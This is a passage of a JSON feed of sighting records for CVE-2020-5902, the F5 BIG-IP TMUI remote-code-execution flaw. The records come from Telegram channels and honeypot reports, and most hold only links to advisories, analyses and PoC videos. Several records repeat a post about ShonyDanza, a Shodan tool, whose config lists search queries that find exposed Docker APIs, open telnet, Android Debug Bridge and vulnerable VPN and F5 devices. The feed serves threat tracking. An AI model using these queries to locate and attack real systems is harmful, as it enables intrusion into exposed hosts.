"creation_timestamp": "2026-07-16T10:15:06.658564Z"}, {"uuid": "3757051c-4b52-4871-b016-ce5d1b8f4944", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "Telegram/SZb_JVBvbO1kuGQqw92fKjhjyq1os5CUZfiNMsMbLPqln6k", "content": "", "creation_timestamp": "2026-07-16T19:00:25.056050Z"}, {"uuid": "10af50bb-e053-4e5d-b507-243a64bfef59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "Telegram/SZb_JVBvbO1kuGQqw92fKjhjyq1os5CUZfiNMsMbLPqln6k", "content": "", "creation_timestamp": "2026-07-17T00:00:41.280140Z"}, {"uuid": "495bb0d6-e5a7-41aa-8182-71f06bc27bfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/44140", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:53.277483Z"}, {"uuid": "fd7326a2-97d0-49dd-947d-9dd9b3a17151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "Telegram/SZb_JVBvbO1kuGQqw92fKjhjyq1os5CUZfiNMsMbLPqln6k", "content": "", "creation_timestamp": "2026-07-18T00:00:10.233549Z"}, {"uuid": "4bcb507b-d26c-4cf4-b752-e5ccaf0f4ae2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/thehaking/471", "content": "https://te.legra.ph/EHkspluataciya-CVE-2020-5902-07-20", "creation_timestamp": "2026-08-28T00:00:57.578752Z"}, {"uuid": "928e34e1-e561-4008-a6e1-5224149854bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-17)", "content": "", "creation_timestamp": "2026-07-18T10:15:07.929394Z"}, {"uuid": "0b80021e-6341-4116-9357-0dbbcb19cb82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/reverseame/319", "content": "Mirai Botnet Exploit Weaponized to Attack IoT Devices via CVE-2020-5902 https://blog.trendmicro.com/trendlabs-security-intelligence/mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902/", "creation_timestamp": "2026-07-18T15:00:04.555033Z"}, {"uuid": "04883c7a-9cef-452e-acb9-b2dba572d6d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/reverseame/247", "content": "Understanding the root cause of F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902\nhttps://research.nccgroup.com/2020/07/12/understanding-the-root-cause-of-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902/", "creation_timestamp": "2026-07-18T15:00:04.889006Z"}, {"uuid": "d5a463a9-45bc-4790-a7e8-a4b4e0a0a09d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://t.me/reverseame/319", "content": "Mirai Botnet Exploit Weaponized to Attack IoT Devices via CVE-2020-5902 https://blog.trendmicro.com/trendlabs-security-intelligence/mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902/", "creation_timestamp": "2026-07-19T00:00:12.609378Z"}, {"uuid": "86288f88-4622-4fa0-8a85-5b2b42b05882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/247", "content": "Understanding the root cause of F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902\nhttps://research.nccgroup.com/2020/07/12/understanding-the-root-cause-of-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902/", "creation_timestamp": "2026-07-19T00:00:12.254316Z"}, {"uuid": "35947ded-a6e2-483c-9e2a-38f0befc8570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-19)", "content": "", "creation_timestamp": "2026-07-20T10:15:08.433997Z"}, {"uuid": "083017c8-1a84-4f0a-bc16-4c7859287106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-24)", "content": "", "creation_timestamp": "2026-07-25T10:15:16.816575Z"}, {"uuid": "da3dd819-fd32-410e-97f8-351f447eebbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/thehaking/471", "content": "https://te.legra.ph/EHkspluataciya-CVE-2020-5902-07-20", "creation_timestamp": "2026-08-27T09:00:05.187108Z"}, {"uuid": "ef60c8c2-b54e-488d-84cf-9e5801029109", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/reverseame/390", "content": "F5 BIG-IP hsqldb (CVE-2020-5902) Vulnerability Analysis https://paper.seebug.org/1272/", "creation_timestamp": "2026-07-29T12:03:04.368239Z"}, {"uuid": "5168a7c5-4987-4c49-809e-d6494813cc54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-31)", "content": "", "creation_timestamp": "2026-09-01T10:15:06.204405Z"}, {"uuid": "fa9326de-4610-4acc-8ea6-29ae2d1a525c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/900", "content": "F5 BigIP TMUI Critical RCE (CVE-2020-5902/5903):\ud83d\ude03\nhttps://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/\n\nPoC:\ud83d\udc4d\ud83c\udffd\nhttps://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4\n\nSecurity Advisory:\u270c\ud83c\udffc\nhttps://support.f5.com/csp/article/K52145254", "creation_timestamp": "2026-09-01T17:01:16.149740Z"}, {"uuid": "6524830e-c964-41b6-a266-3bdae1c276b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/2541", "content": "Top vulnerabilities 2020 with POC\n\nCVE-2020-17530 | Apache Struts RCE\nhttps://youtu.be/MUAAwijvAe8\n\nSaltstack RCE | CVE-2020-16846\nhttps://youtu.be/5cV9wh2w-O8\n\nApache Unomi RCE | CVE-2020-13942\nhttps://youtu.be/iz6wjdGnpds\n\nGhost Cat | CVE-2020-1938\nhttps://youtu.be/3TGIg1x4XwU\n\nOracle WebLogic RCE | CVE-2020-14882\nhttps://youtu.be/t-sxvcZNFZo\n\nApache Tomcat RCE | CVE-2020-9484\nhttps://youtu.be/nF8tfsY74ws\n\nMoodle RCE | CVE-2020-14321\nhttps://youtu.be/BkEInFI4oIU\n\nCisco CVE-2020-3452 poc\nhttps://youtu.be/-UldKwwVgHE\n\nWordpress database plugin | CVE-2020-7048\nhttps://youtu.be/nj_dqcvrwp4\n\nCVE-2020-5902 F5 big IP\nhttps://youtu.be/-ppzdYDk-ZM\n\nOther CVE PoC videos\nhttps://youtube.com/playlist?list=PLiVfOzljj-46iFcif16qMaPP84ZxCZ4Mb", "creation_timestamp": "2026-09-01T17:00:59.138023Z"}, {"uuid": "f7543c27-5682-4121-b020-3b0dfd27c351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/3231", "content": "Top 10 vulnerabilities in 2020 \n\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-01T17:00:50.033088Z"}, {"uuid": "a0acfb77-fc13-4604-b30a-16447c51f1a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/2540", "content": "Top 10 vulnerabilities in 2020:\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-01T17:00:59.525185Z"}, {"uuid": "d870f993-70e1-4282-96c9-9a00f7d7a639", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/1878", "content": "Malware \n1. Sophisticated new Android malware marks the latest evolution of mobile ransomware\nhttps://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/\n\n2. MontysThree: \nIndustrial espionage with steganography\nhttps://securelist.com/montysthree-industrial-espionage/98972/\n\n3. Ryuk Ransomware Writeup\nhttps://thedfirreport.com/2020/10/08/ryuks-return/\n\nRed team\n1. Arbitrary code execution on Facebook for Android through download feature (PoC)\nhttps://medium.com/@dPhoeniixx/arbitrary-code-execution-on-facebook-for-android-through-download-feature-fb6826e33e0f\n\n2. Bypassing DOMPurify again with mutation XSS\nhttps://portswigger.net/research/bypassing-dompurify-again-with-mutation-xss\n\n3.Powershell Logging: \nObfuscation and Some New (ISH) Bypasses\nPart 1:\nhttps://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/\nPart 2:\nhttps://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-2/\n\n4.Possible attacks against VoIP\nhttps://medium.com/bugbountywriteup/a-tale-of-voip-security-testing-39937fe8c6fd\n\n5.PowerShell functions for Red Team to collect data from a machine\nhttps://securityonline.info/powershell-red-team/\n\n\ud83d\ude03\nCVE-2020-13756:\nSabberworm PHP CSS parser (before 8.3.1)\nsuffers from a code injection vulnerability (PoC)\nhttps://packetstormsecurity.com/files/157923/Sabberworm-PHP-CSS-Code-Injection.html\n\nUEFI fuzzing :\nPart 1. Moving From Common-Sense Knowledge About UEFI To Actually Dumping UEFI Firmware\nhttps://labs.sentinelone.com/moving-from-common-sense-knowledge-about-uefi-to-actually-dumping-uefi-firmware/\nPart 2. Moving From Manual Reverse Engineering of UEFI Modules To Dynamic Emulation of UEFI Firmware\nhttps://labs.sentinelone.com/moving-from-manual-re-of-uefi-modules-to-dynamic-emulation-of-uefi-firmware/\n\n\ud83d\ude03\nCVE-2020-5902 (9.8/10):\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), has a RCE vulnerability in undisclosed pages (PoCs)\nhttps://www.cvebase.com/cve/2020/5902", "creation_timestamp": "2026-09-01T17:01:09.456944Z"}, {"uuid": "e8ea71e6-9df0-45ee-835d-2c1278f0f5a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/905", "content": "Critical Unauthorized RCE Vulnerability (CVE-2020-5902 with CVSS Score 10/10) Affects F5's BIG-IP Application Security Servers Used in large Enterprises, Data Centers, and Cloud Computing Environments.\n\nhttps://thehackernews.com/2020/07/f5-big-ip-application-security.html\n\nApply Newly Released Patch Updates ASAP!\ud83d\udc4d\ud83c\udffd\ud83d\udc4d\ud83c\udffd\u270c\ud83c\udffc\ud83d\ude28", "creation_timestamp": "2026-09-01T17:01:15.913550Z"}, {"uuid": "2bdb618b-0f67-4b48-8f47-1f0b91b26a59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hackersmeet0/2406", "content": "\ud83d\udd30 Top vulnerabilities 2020 with POC\n\nCVE-2020-17530 | Apache Struts RCE\n\nhttps://youtu.be/MUAAwijvAe8\n\nSaltstack RCE | CVE-2020-16846\n\nhttps://youtu.be/5cV9wh2w-O8\n\nApache Unomi RCE | CVE-2020-13942\n\nhttps://youtu.be/iz6wjdGnpds\n\nGhost Cat | CVE-2020-1938\n\nhttps://youtu.be/3TGIg1x4XwU\n\nOracle WebLogic RCE | CVE-2020-14882\n\nhttps://youtu.be/t-sxvcZNFZo\n\nApache Tomcat RCE | CVE-2020-9484\n\nhttps://youtu.be/nF8tfsY74ws\n\nMoodle RCE | CVE-2020-14321\n\nhttps://youtu.be/BkEInFI4oIU\n\nCisco CVE-2020-3452 poc\n\nhttps://youtu.be/-UldKwwVgHE\n\nWordpress database plugin | CVE-2020-7048\n\nhttps://youtu.be/nj_dqcvrwp4\n\nCVE-2020-5902 F5 big IP\n\nhttps://youtu.be/-ppzdYDk-ZM\n\nOther CVE PoC videos\n\nhttps://youtube.com/playlist?list=PLiVfOzljj-46iFcif16qMaPP84ZxCZ4Mb\n\nCVE Lab Access : https://www.vulnmachines.com", "creation_timestamp": "2026-09-01T18:00:05.579334Z"}, {"uuid": "d7cd5744-e807-4463-b547-45d58c19139f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/161896", "content": "How to manually hunt for F5 Big-IP RCE (CVE 2020\u20135902, CVE2022\u20131388)\nhttps://medium.com/@josekuttykunnelthazhebinu/how-to-manually-hunt-for-f5-big-ip-rce-cve-2020-5902-cve2022-1388-da78fb0a562e?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:23.467586Z"}, {"uuid": "0e2db285-9a91-45ca-ab4c-4166fc8a1413", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/161898", "content": "Manual testing steps with shodan dork and python script to test via terminal.Continue reading on Medium \u00bb (https://medium.com/@josekuttykunnelthazhebinu/how-to-manually-hunt-for-f5-big-ip-rce-cve-2020-5902-cve2022-1388-da78fb0a562e?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:23.514790Z"}, {"uuid": "a5b054b6-5813-4a76-9f6d-1e1a444f574e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/36555", "content": "A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\nWith ShonyDanza, you can:Obtain IPs based on search criteriaAutomatically exclude honeypots from the results based on your pre-configured thresholdsPre-configure all IP searches to filter on your specified net range(s)Pre-configure search limitsUse build-a-search to craft searches with easy building blocksUse stock searches and pre-configure your own stock searchesCheck if IPs are known malware (https://www.kitploit.com/search/label/Malware) C2sGet host and domain profilesScan on-demandFind exploitsGet total counts for searches and exploitsAutomatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanzaInstallationgit clone https://github.com/fierceoj/ShonyDanza.git\nRequirementspython3shodan librarycd ShonyDanza\npip3 install -r requirements.txtUsageEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\ndictionary below to add it to your shonydanza stock searches menu #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)  STOCK_SEARCHES = { 'ANONYMOUS_FTP':'ftp anonymous ok', 'RDP':'port:3389 has_screenshot:true', 'OPEN_TELNET':'port:23 console (https://www.kitploit.com/search/label/Console) gateway (https://www.kitploit.com/search/label/Gateway) -password', 'APACHE_DIR_LIST':'http.title:\"Index of /\"', 'SPRING_BOOT':'http.favicon.hash:116323821', 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', 'DOCKER_API':'\"Docker Containers:\" port:2375', 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' }   #OPTIONAL #IP or cidr range constraint for searches that return list of IP addresses #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)   #NET_RANGE = '0.0.0.0/0' \">#config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n\n\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n\n\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /\"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n\n\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0'\nRun \ncd ../\npython3 shonydanza.py\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:01.242520Z"}, {"uuid": "4d44187c-92e5-4017-8b59-ffd8c6f7df69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/33343", "content": "ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\n A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan. With ShonyDanza, you can: Obtain IPs based on search criteria Automatically exclude honeypots from the results based on your pre-configured thresholds Pre-configure all IP searches to filter on your specified net range(s) Pre-configure search limits Use build-a-search to craft searches with easy building blocks Use stock searches and pre-configure your own stock searches Check if IPs are known malware C2s Get host and domain profiles Scan on-demand Find exploits Get total counts for searches and exploits Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza Installation git clone https://github.com/fierceoj/ShonyDanza.git Requirements python3 shodan library cd ShonyDanza pip3 install -r requirements.txt Usage Edit config.py to include your desired configurations cd configs sudo nano config.py #config file for shonydanza searches#REQUIRED#maximum number of results that will be returned per search#default is 100SEARCH_LIMIT = 100#REQUIRED#IPs exceeding the honeyscore limit will not show up in IP results#scale is 0.0 to 1.0#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all resultsHONEYSCORE_LIMIT = 1.0#REQUIRED - at least one key: value pair#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)STOCK_SEARCHES = {'ANONYMOUS_FTP':'ftp anonymous ok','RDP':'port:3389 has_screenshot:true','OPEN_TELNET':'port:23 console gateway -password','APACHE_DIR_LIST':'http.title:\"Index of / \"','SPRING_BOOT':'http.favicon.hash:116323821','HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"','DOCKER_API':'\"Docker Containers:\" port:2375','ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555','MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"','CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/','CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"','CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"','CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'}#OPTIONAL#IP or cidr range constraint for searches that return list of IP addresses#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) #NET_RANGE = '0.0.0.0/0' Run cd ../ python3 shonydanza.py See this how-to article for additional usage instruction. Legal Disclaimer This project is made for educational and ethical testing purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Download ShonyDanza\nRead more...\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:07.762754Z"}, {"uuid": "3b81714e-6e03-4b9b-8d69-69e2351c6c05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/40562", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within 